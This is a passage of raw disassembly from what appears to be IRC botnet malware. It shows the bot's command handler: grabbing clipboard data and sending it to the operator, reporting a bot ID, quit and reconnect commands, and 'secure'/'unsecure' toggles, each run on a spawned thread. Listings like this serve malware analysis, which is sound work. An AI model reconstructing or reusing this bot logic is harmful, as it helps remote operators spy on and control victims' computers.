; ---------------------------------------------------------------------------
loc_413FDE: ; CODE XREF: sub_40EE72+5158j
call near ptr 2630313h
nop
push eax
lea eax, [ebp+var_2DC]
push offset unk_436F14
push eax
call sub_4172B0
add esp, 0Ch
loc_413FF9: ; CODE XREF: sub_40EE72+5160j
cmp [ebp+var_8], ebx
jnz short loc_414018
push ebx
lea eax, [ebp+var_2DC]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_414018: ; CODE XREF: sub_40EE72+518Aj
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
pop ecx
loc_414025: ; CODE XREF: sub_40EE72+4F48j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_413D70
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_414039: ; CODE XREF: sub_40EE72+310Aj
; sub_40EE72+4FC4j
push offset unk_435C2C
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_414043: ; CODE XREF: sub_40EE72+1921j
; sub_40EE72+1936j
push [ebp+var_8C]
lea eax, [ebp+var_A4]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_A8], eax
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
push offset unk_435BF4
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Eh
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_409037
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4140DC
loc_4140C9: ; CODE XREF: sub_40EE72+5268j
cmp [ebp+var_18], ebx
jnz loc_414E11
push 32h
nop
call near ptr 25F0439h
jmp short loc_4140C9
; ---------------------------------------------------------------------------
loc_4140DC: ; CODE XREF: sub_40EE72+5255j
nop
call near ptr 2630313h
push eax
push offset unk_435BA8
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_4140ED: ; CODE XREF: sub_40EE72+18F7j
; sub_40EE72+190Cj
push 4
call sub_416FA4
test eax, eax
pop ecx
jle short loc_414103
push offset unk_435B7C
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_414103: ; CODE XREF: sub_40EE72+5285j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_414126
push eax
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_41413A
; ---------------------------------------------------------------------------
loc_414126: ; CODE XREF: sub_40EE72+529Aj
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
push ebx
call near ptr 2640000h
nop
loc_41413A: ; CODE XREF: sub_40EE72+52B2j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_41414A
mov esi, offset byte_42F674
loc_41414A: ; CODE XREF: sub_40EE72+52D1j
push esi
lea eax, [ebp+var_6F8]
push edi
push eax
call sub_41782A
mov eax, dword_42F5AC
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F0], ebx
mov [ebp+var_800], eax
lea eax, [ebp+var_5E8]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_7FC]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_5EC]
push offset unk_42B328
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 4
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_5F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_406C19
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_5F4]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_41421D
loc_414207: ; CODE XREF: sub_40EE72+53A9j
cmp [ebp+var_560], ebx
jnz loc_410E57
push 32h
nop
call near ptr 25F0439h
jmp short loc_414207
; ---------------------------------------------------------------------------
loc_41421D: ; CODE XREF: sub_40EE72+5393j
nop
call near ptr 2630313h
push eax
push offset unk_435B34
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_41422E: ; CODE XREF: sub_40EE72+18CDj
; sub_40EE72+18E2j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_41424D
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_41424D
push edi
call sub_41781F
pop ecx
jmp short loc_414252
; ---------------------------------------------------------------------------
loc_41424D: ; CODE XREF: sub_40EE72+53C5j
; sub_40EE72+53D0j
mov eax, dword_42F5B0
loc_414252: ; CODE XREF: sub_40EE72+53D9j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9C4], bl
setz al
cmp esi, ebx
mov [ebp+var_568], eax
jz short loc_414285
lea eax, [ebp+var_680]
push esi
push eax
call sub_4172B0
pop ecx
pop ecx
jmp short loc_4142B0
; ---------------------------------------------------------------------------
loc_414285: ; CODE XREF: sub_40EE72+5400j
lea eax, [ebp+var_3FC]
push 104h
push eax
call near ptr 25F048Fh
nop
push ebx
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
lea eax, [ebp+var_3FC]
push eax
call sub_4192B8
add esp, 14h
loc_4142B0: ; CODE XREF: sub_40EE72+5411j
lea eax, [ebp+var_680]
push eax
call sub_417AB0
cmp [ebp+eax+var_681], 5Ch
pop ecx
jnz short loc_4142DB
lea eax, [ebp+var_680]
push eax
call sub_417AB0
pop ecx
mov [ebp+eax+var_681], bl
loc_4142DB: ; CODE XREF: sub_40EE72+5453j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_908]
mov [ebp+var_90C], esi
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_680]
mov [ebp+var_570], edi
push eax
push [ebp+var_57C]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_42B20C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 3
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_90C]
push ebx
push eax
push offset sub_405AF2
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_414393
loc_41437D: ; CODE XREF: sub_40EE72+551Fj
cmp [ebp+var_560], ebx
jnz loc_4144E5
push 32h
call near ptr 25F0439h
nop
jmp short loc_41437D
; ---------------------------------------------------------------------------
loc_414393: ; CODE XREF: sub_40EE72+5509j
call near ptr 2630313h
nop
push eax
push offset unk_435AEC
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_4143A4: ; CODE XREF: sub_40EE72+18A3j
; sub_40EE72+18B8j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4143C3
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_4143C3
push edi
call sub_41781F
pop ecx
jmp short loc_4143C8
; ---------------------------------------------------------------------------
loc_4143C3: ; CODE XREF: sub_40EE72+553Bj
; sub_40EE72+5546j
mov eax, dword_42F5B4
loc_4143C8: ; CODE XREF: sub_40EE72+554Fj
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jnz short loc_4143DF
lea eax, [ebp+var_D8]
loc_4143DF: ; CODE XREF: sub_40EE72+5565j
push eax
lea eax, [ebp+var_6B8]
push 40h
push eax
call sub_41782A
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_414401
mov esi, offset byte_43C80C
loc_414401: ; CODE XREF: sub_40EE72+5588j
push esi
lea eax, [ebp+var_678]
push 100h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_738]
push [ebp+var_8C]
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
lea eax, [ebp+var_6B8]
push eax
mov [ebp+var_73C], esi
push [ebp+var_578]
mov [ebp+var_568], edi
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset dword_435AA0
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 6
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_73C]
push ebx
push eax
push offset word_41570E
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4144CA
loc_4144B8: ; CODE XREF: sub_40EE72+5656j
cmp [ebp+var_560], ebx
jnz short loc_4144E5
push 32h
nop
call near ptr 25F0439h
jmp short loc_4144B8
; ---------------------------------------------------------------------------
loc_4144CA: ; CODE XREF: sub_40EE72+5644j
nop
call near ptr 2630313h
push eax
push offset dword_435A54
loc_4144D6: ; CODE XREF: sub_40EE72+3627j
; sub_40EE72+3724j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_4144E5: ; CODE XREF: sub_40EE72+360Bj
; sub_40EE72+3708j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push edi
jmp loc_411D2F
; ---------------------------------------------------------------------------
loc_4144F5: ; CODE XREF: sub_40EE72+1879j
; sub_40EE72+188Ej
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414508
push esi
call sub_41781F
jmp short loc_41450F
; ---------------------------------------------------------------------------
loc_414508: ; CODE XREF: sub_40EE72+568Cj
push 8
call sub_416FC3
loc_41450F: ; CODE XREF: sub_40EE72+5694j
cmp eax, ebx
pop ecx
jz loc_414F47
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4071DB
loc_41452A: ; CODE XREF: sub_40EE72+5B67j
add esp, 10h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_414532: ; CODE XREF: sub_40EE72+184Fj
; sub_40EE72+1864j
mov eax, dword_43F590
cmp eax, ebx
jz short loc_41454F
call eax
test eax, eax
jz short loc_414548
push offset unk_435A20
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414548: ; CODE XREF: sub_40EE72+56CDj
push offset unk_4359E4
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_41454F: ; CODE XREF: sub_40EE72+56C7j
push offset unk_4359A8
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414556: ; CODE XREF: sub_40EE72+1825j
; sub_40EE72+183Aj
call sub_40AE02
test eax, eax
jz short loc_41457A
push offset unk_435974
loc_414564: ; CODE XREF: sub_40EE72+4AFEj
; sub_40EE72+56D4j ...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
jmp loc_4110BD
; ---------------------------------------------------------------------------
loc_41457A: ; CODE XREF: sub_40EE72+56EBj
push offset unk_435938
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414581: ; CODE XREF: sub_40EE72+17FBj
; sub_40EE72+1810j
cmp [ebp+var_8], ebx
jnz short loc_4145A0
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4145A0: ; CODE XREF: sub_40EE72+5712j
push ebx
push [ebp+var_4]
call sub_40AABF
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_4358F8
loc_4145BD: ; CODE XREF: sub_40EE72+5A09j
; sub_40EE72+5A3Bj
call sub_40BF6D
add esp, 18h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_4145CA: ; CODE XREF: sub_40EE72+171Cj
; sub_40EE72+1731j
push 7
call sub_416FA4
test eax, eax
pop ecx
jle short loc_4145DD
push offset dword_4358C0
jmp short loc_4145FE
; ---------------------------------------------------------------------------
loc_4145DD: ; CODE XREF: sub_40EE72+5762j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B56C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4145F9
push offset dword_435888
jmp short loc_4145FE
; ---------------------------------------------------------------------------
loc_4145F9: ; CODE XREF: sub_40EE72+577Ej
push offset dword_435858
loc_4145FE: ; CODE XREF: sub_40EE72+2C51j
; sub_40EE72+2D87j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41460C: ; CODE XREF: sub_40EE72+15C6j
; sub_40EE72+2D61j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push [ebp+var_4]
loc_414619: ; CODE XREF: sub_40EE72+3963j
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_414629: ; CODE XREF: sub_40EE72+2ECBj
call sub_40D679
add esp, 14h
jmp loc_414E11
; ---------------------------------------------------------------------------
loc_414636: ; CODE XREF: sub_40EE72+16F2j
; sub_40EE72+1707j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A4AC
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_41464F: ; CODE XREF: sub_40EE72+16C8j
; sub_40EE72+16DDj
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D320
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_41466C: ; CODE XREF: sub_40EE72+169Ej
; sub_40EE72+16B3j
or edi, 0FFFFFFFFh
call near ptr 25E08E4h
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_414695
push esi
call sub_41781F
pop ecx
mov edi, eax
loc_414695: ; CODE XREF: sub_40EE72+5818j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4146AE
cmp edi, 0FFFFFFFFh
jnz loc_414F47
loc_4146AE: ; CODE XREF: sub_40EE72+5831j
push ebx
call sub_40B721
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset dword_435830
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
jmp loc_411A5D
; ---------------------------------------------------------------------------
loc_4146F1: ; CODE XREF: sub_40EE72+1674j
; sub_40EE72+1689j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_408C26
add esp, 0Ch
push offset unk_435800
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_41470F: ; CODE XREF: sub_40EE72+164Aj
; sub_40EE72+165Fj
push 1Fh
call sub_416FA4
test eax, eax
pop ecx
jle short loc_414738
cmp [ebp+var_8], ebx
jnz loc_40F239
push ebx
push [ebp+var_4]
push offset unk_4357CC
push [ebp+var_8C]
jmp loc_40F7A0
; ---------------------------------------------------------------------------
loc_414738: ; CODE XREF: sub_40EE72+58A7j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
jz short loc_414799
push esi
push offset aFull ; "full"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_414799
mov [ebp+var_46C], 1
loc_414799: ; CODE XREF: sub_40EE72+590Aj
; sub_40EE72+591Bj
lea eax, [ebp+var_2DC]
push offset dword_435794
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Fh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_41533B
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_414807
loc_4147F1: ; CODE XREF: sub_40EE72+5993j
cmp [ebp+var_460], ebx
jnz loc_414E11
push 32h
nop
call near ptr 25F0439h
jmp short loc_4147F1
; ---------------------------------------------------------------------------
loc_414807: ; CODE XREF: sub_40EE72+597Dj
nop
call near ptr 2630313h
push eax
push offset unk_435744
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_414818: ; CODE XREF: sub_40EE72+1620j
; sub_40EE72+1635j
cmp [ebp+var_8], ebx
jnz short loc_414837
push ebx
push [ebp+var_4]
push offset dword_43571C
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_414837: ; CODE XREF: sub_40EE72+59A9j
push [ebp+arg_4]
call dword_43F700
call dword_43F5C8
call sub_40AC42
push ebx
nop
call near ptr 77E75CB5h
loc_414852: ; CODE XREF: sub_40EE72+15F6j
; sub_40EE72+160Bj
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40B8D8
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_4356F4
jmp loc_4145BD
; ---------------------------------------------------------------------------
loc_414880: ; CODE XREF: sub_40EE72+14BCj
; sub_40EE72+14D1j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BB8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_4356CC
jmp loc_4145BD
; ---------------------------------------------------------------------------
loc_4148B2: ; CODE XREF: sub_40EE72+1492j
; sub_40EE72+14A7j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C00D
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_4148CB: ; CODE XREF: sub_40EE72+1468j
; sub_40EE72+147Dj
cmp [ebp+var_C], ebx
mov [ebp+var_388], bl
jz short loc_41490A
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_41490A
push esi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41490A
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_388]
push 80h
push eax
call sub_41782A
add esp, 10h
loc_41490A: ; CODE XREF: sub_40EE72+5A62j
; sub_40EE72+5A6Dj ...
push [ebp+var_8C]
lea eax, [ebp+var_408]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_40C], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
mov eax, [ebp+var_8]
mov [ebp+var_300], eax
lea eax, [ebp+var_2DC]
push offset dword_4356A4
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Dh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_40C07F
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4149AD
loc_414997: ; CODE XREF: sub_40EE72+5B39j
cmp [ebp+var_2FC], ebx
jnz loc_40F239
push 32h
nop
call near ptr 25F0439h
jmp short loc_414997
; ---------------------------------------------------------------------------
loc_4149AD: ; CODE XREF: sub_40EE72+5B23j
nop
call near ptr 2630313h
push eax
push offset dword_43565C
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_4149BE: ; CODE XREF: sub_40EE72+143Ej
; sub_40EE72+1453j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40BEF5
push offset dword_435634
call sub_40BF6D
jmp loc_41452A
; ---------------------------------------------------------------------------
loc_4149DE: ; CODE XREF: sub_40EE72+1414j
; sub_40EE72+1429j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
jz short loc_414A38
push offset dword_435630
push esi
call sub_4176D0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_46C], eax
jmp short loc_414A3E
; ---------------------------------------------------------------------------
loc_414A38: ; CODE XREF: sub_40EE72+5BAAj
mov [ebp+var_46C], ebx
loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j
lea eax, [ebp+var_2DC]
push offset dword_435604
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 20h
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset byte_416DC7
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_414AA8
loc_414A96: ; CODE XREF: sub_40EE72+5C34j
cmp [ebp+var_460], ebx
jnz short loc_414AC3
push 32h
nop
call near ptr 25F0439h
jmp short loc_414A96
; ---------------------------------------------------------------------------
loc_414AA8: ; CODE XREF: sub_40EE72+5C22j
nop
call near ptr 2630313h
push eax
push offset dword_4355BC
loc_414AB4: ; CODE XREF: sub_40EE72+489Fj
; sub_40EE72+49BBj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_414AC3: ; CODE XREF: sub_40EE72+4529j
; sub_40EE72+4541j ...
lea eax, [ebp+var_2DC]
push eax
jmp loc_410654
; ---------------------------------------------------------------------------
loc_414ACF: ; CODE XREF: sub_40EE72+1398j
; sub_40EE72+13ADj
push offset aBotid ; "botid"
push offset dword_435594
jmp short loc_414AED
; ---------------------------------------------------------------------------
loc_414ADB: ; CODE XREF: sub_40EE72+136Ej
; sub_40EE72+1383j
push dword_489C50
call sub_40B721
pop ecx
push eax
push offset dword_435558
loc_414AED: ; CODE XREF: sub_40EE72+5C67j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_4110FD
; ---------------------------------------------------------------------------
loc_414B1A: ; CODE XREF: sub_40EE72+1344j
; sub_40EE72+1359j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414B4C
cmp [ebp+var_C], ebx
jz short loc_414B5B
push esi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_414B5B
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
jmp short loc_414B5B
; ---------------------------------------------------------------------------
loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40D633
pop ecx
pop ecx
loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j
; sub_40EE72+5CC5j ...
push 0FFFFFFFEh
jmp loc_40F23B
; ---------------------------------------------------------------------------
loc_414B62: ; CODE XREF: sub_40EE72+131Aj
; sub_40EE72+132Fj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_435508
call sub_40BF6D
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414B84: ; CODE XREF: sub_40EE72+12F0j
; sub_40EE72+1305j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_4354C8
call sub_40BF6D
add esp, 0Ch
xor eax, eax
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414BA5: ; CODE XREF: sub_40EE72+12C6j
; sub_40EE72+12DBj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407110
jmp loc_412FF6
; ---------------------------------------------------------------------------
loc_414BBB: ; CODE XREF: sub_40EE72+1221j
; sub_40EE72+1236j
push [ebp+esi+var_90]
push 1Fh
push offset dword_4354B8
push offset dword_4354AC
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_414BD3: ; CODE XREF: sub_40EE72+11F7j
; sub_40EE72+120Cj
push [ebp+esi+var_90]
push 1Ch
push offset dword_4354A0
push offset dword_435490
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_414BEB: ; CODE XREF: sub_40EE72+1022j
; sub_40EE72+1037j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_414C0A
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_414C0A
push edi
call sub_41781F
pop ecx
jmp short loc_414C0F
; ---------------------------------------------------------------------------
loc_414C0A: ; CODE XREF: sub_40EE72+5D82j
; sub_40EE72+5D8Dj
mov eax, dword_42F5A8
loc_414C0F: ; CODE XREF: sub_40EE72+5D96j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_478], eax
cmp esi, ebx
jz short loc_414C34
push esi
loc_414C21: ; CODE XREF: sub_40EE72+5DD1j
lea eax, [ebp+var_488]
push 10h
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_414C4B
; ---------------------------------------------------------------------------
loc_414C34: ; CODE XREF: sub_40EE72+5DACj
cmp [ebp+var_9C7], bl
jz short loc_414C45
lea eax, [ebp+var_D8]
push eax
jmp short loc_414C21
; ---------------------------------------------------------------------------
loc_414C45: ; CODE XREF: sub_40EE72+5DC8j
mov [ebp+var_488], bl
loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_46C], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_468], eax
lea eax, [ebp+var_508]
push eax
mov [ebp+var_50C], esi
call sub_41782A
add esp, 0Ch
push [ebp+var_478]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_42B75C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 11h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_474], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset sub_407FEA
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_474]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_414CFC
loc_414CE6: ; CODE XREF: sub_40EE72+5E88j
cmp [ebp+var_464], ebx
jnz loc_40F239
push 32h
nop
call near ptr 25F0439h
jmp short loc_414CE6
; ---------------------------------------------------------------------------
loc_414CFC: ; CODE XREF: sub_40EE72+5E72j
call near ptr 2630313h
nop
push eax
push offset unk_435448
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_414D0D: ; CODE XREF: sub_40EE72+FCEj
; sub_40EE72+FE3j ...
push edi
push offset aSecure ; "secure"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414D35
push edi
push offset aSec ; "sec"
call sub_4176D0
pop ecx
mov [ebp+var_46C], ebx
test eax, eax
pop ecx
jnz short loc_414D3F
loc_414D35: ; CODE XREF: sub_40EE72+5EAAj
mov [ebp+var_46C], 1
loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_46C], ebx
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_414D86
mov eax, offset aUnsecuring ; "Unsecuring"
loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj
push eax
push offset dword_4353FC
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Ah
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_415F28
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_414DF6
loc_414DE4: ; CODE XREF: sub_40EE72+5F82j
cmp [ebp+var_460], ebx
jnz short loc_414E11
push 32h
call near ptr 25F0439h
nop
jmp short loc_414DE4
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_40EE72+5F70j
call near ptr 2630313h
nop
push eax
push offset unk_4353B0
loc_414E02: ; CODE XREF: sub_40EE72+3DA7j
; sub_40EE72+4AC3j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_414E11: ; CODE XREF: sub_40EE72+2EB3j
; sub_40EE72+395Bj ...
